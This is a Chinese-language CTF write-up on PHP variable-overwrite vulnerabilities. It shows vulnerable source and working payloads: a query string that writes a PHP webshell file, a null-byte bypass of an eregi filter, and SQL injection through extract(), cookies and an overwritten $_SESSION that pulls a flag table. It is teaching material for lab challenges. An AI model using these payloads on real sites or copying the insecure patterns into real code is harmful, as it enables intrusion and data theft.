漏洞源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <? class Carrot { const EXTERNAL_DIRECTORY = 'D:\phpstudy\WWW\abc_'; private $id; private $lost = 0; private $bought = 0;
public function __construct($input) { $this->id = rand(1, 1000);
foreach ($input as $field => $count) { $this->$field = $count++; } }
public function __destruct() { file_put_contents( self::EXTERNAL_DIRECTORY . $this->id, var_export(get_object_vars($this), true) ); } }
$carrot = new Carrot($_GET);
|
漏洞
1 2 3
| foreach ($input as $field => $count) { $this->$field = $count++; }
|
这里会对我们传入的get值,进行键值注册成变量。那么我们就可以覆盖id 达到我们想要的id名(文件名)。
1 2 3 4
| file_put_contents( self::EXTERNAL_DIRECTORY . $this->id, var_export(get_object_vars($this), true) );
|
var_export,类似var_dump函数只是它要求里面是正确的代码。而get_object_vars函数是获取类对象的变量及值。
我们输入payload:
1
| ?id=shell.php&shell=<?php phpinfo(); ?>
|
而此时,abc_shell.php的内容为:
1 2 3 4 5 6
| array ( 'id' => 'shell.php', 'lost' => 0, 'bought' => 0, 'shell' => '<?php phpinfo(); ?>', )
|
所以我们的php代码可以执行。
CTF 题解
在config.php中有一个变量覆盖和sql注入漏洞。
1 2 3
| extract($_REQUEST); var_dump($message_id); $sql = "select * from test.content where id=$message_id";
|
解法一
我们参数传入一个键名为 message_id 的payload来变量覆盖且执行我们的语句。
虽然包含了global.php从而进入了waf.php但是他在extract($_REQUEST)前面,也就是说我们只要控制在waf那里没有中止运行就可以了。waf又调用了function.php的filtering函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| function filtering($str) { $check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str); if($check) { echo "非法字符!"; exit(); }
$newstr=""; while($newstr!=$str){ $newstr=$str; $str = str_replace("script", "", $str); $str = str_replace("execute", "", $str); $str = str_replace("update", "", $str); $str = str_replace("master", "", $str); $str = str_replace("truncate", "", $str); $str = str_replace("declare", "", $str); $str = str_replace("select", "", $str); $str = str_replace("create", "", $str); $str = str_replace("delete", "", $str); $str = str_replace("insert", "", $str); $str = str_replace("\'", "", $str);
} return $str; }
|
我们绕过eregi
eregi、ereg可用%00截断条件:要求php<5.3.4可以把非法的数据放在%00后面进行绕过。而我们这里用的是php5.2.*所以是可以用的,至于后面的替换根本不用管了反正替换后也会被覆盖。
所以最后我们的payload是:
1
| content.php?message_id=-1%00/**/union/**/select/**/1,flag,flag,4/**/from/**/flag
|
这里不能用%20或者空格,因为最后覆盖后的语句为:
1
| -1%00%20union%20select%201,flag,flag,4%20from%20flag
|
%20 在SQL中肯定是不可以执行的。
解法二
我们发现 waf中对cookie的值做了以下处理:
1 2 3 4 5 6 7 8 9 10 11 12
| function safe_str($str){ if(!get_magic_quotes_gpc()) { if( is_array($str) ) { foreach($str as $key => $value) { $str[$key] = safe_str($value); } }else{ $str = addslashes($str); } } return $str; }
|
它并没有停止程序的代码,我们只需要在cookie中传入payload:
1
| message_id=0 union select 1,2,flag,4 from flag
|
以上是最简单的2种方法了
解法三
我们看到,index.php中有以下代码:
1 2 3
| $user_id=$_SESSION['user_id']; $sql = "select * from content where user_id=$user_id"; $arr = select($sql);
|
也就说我们可以改变$_SESSION[‘user_id’]的值来注入,但是在这里index.php无法传入,我们在content.php传入吧,payload:
1
| content.php?message_id=1&_SESSION[username]=mayi&_SESSION[user_id]=1%20union%20select%20flag,flag,3,4%20from%20flag
|
因为是数组,所以直接绕过了eregi。记得设置$_SESSION[name]
因为:
1 2 3 4 5
| if (!isset($_SESSION['username'])) { echo "<h3>请先登陆再留言!</h3>"; exit; } ?>
|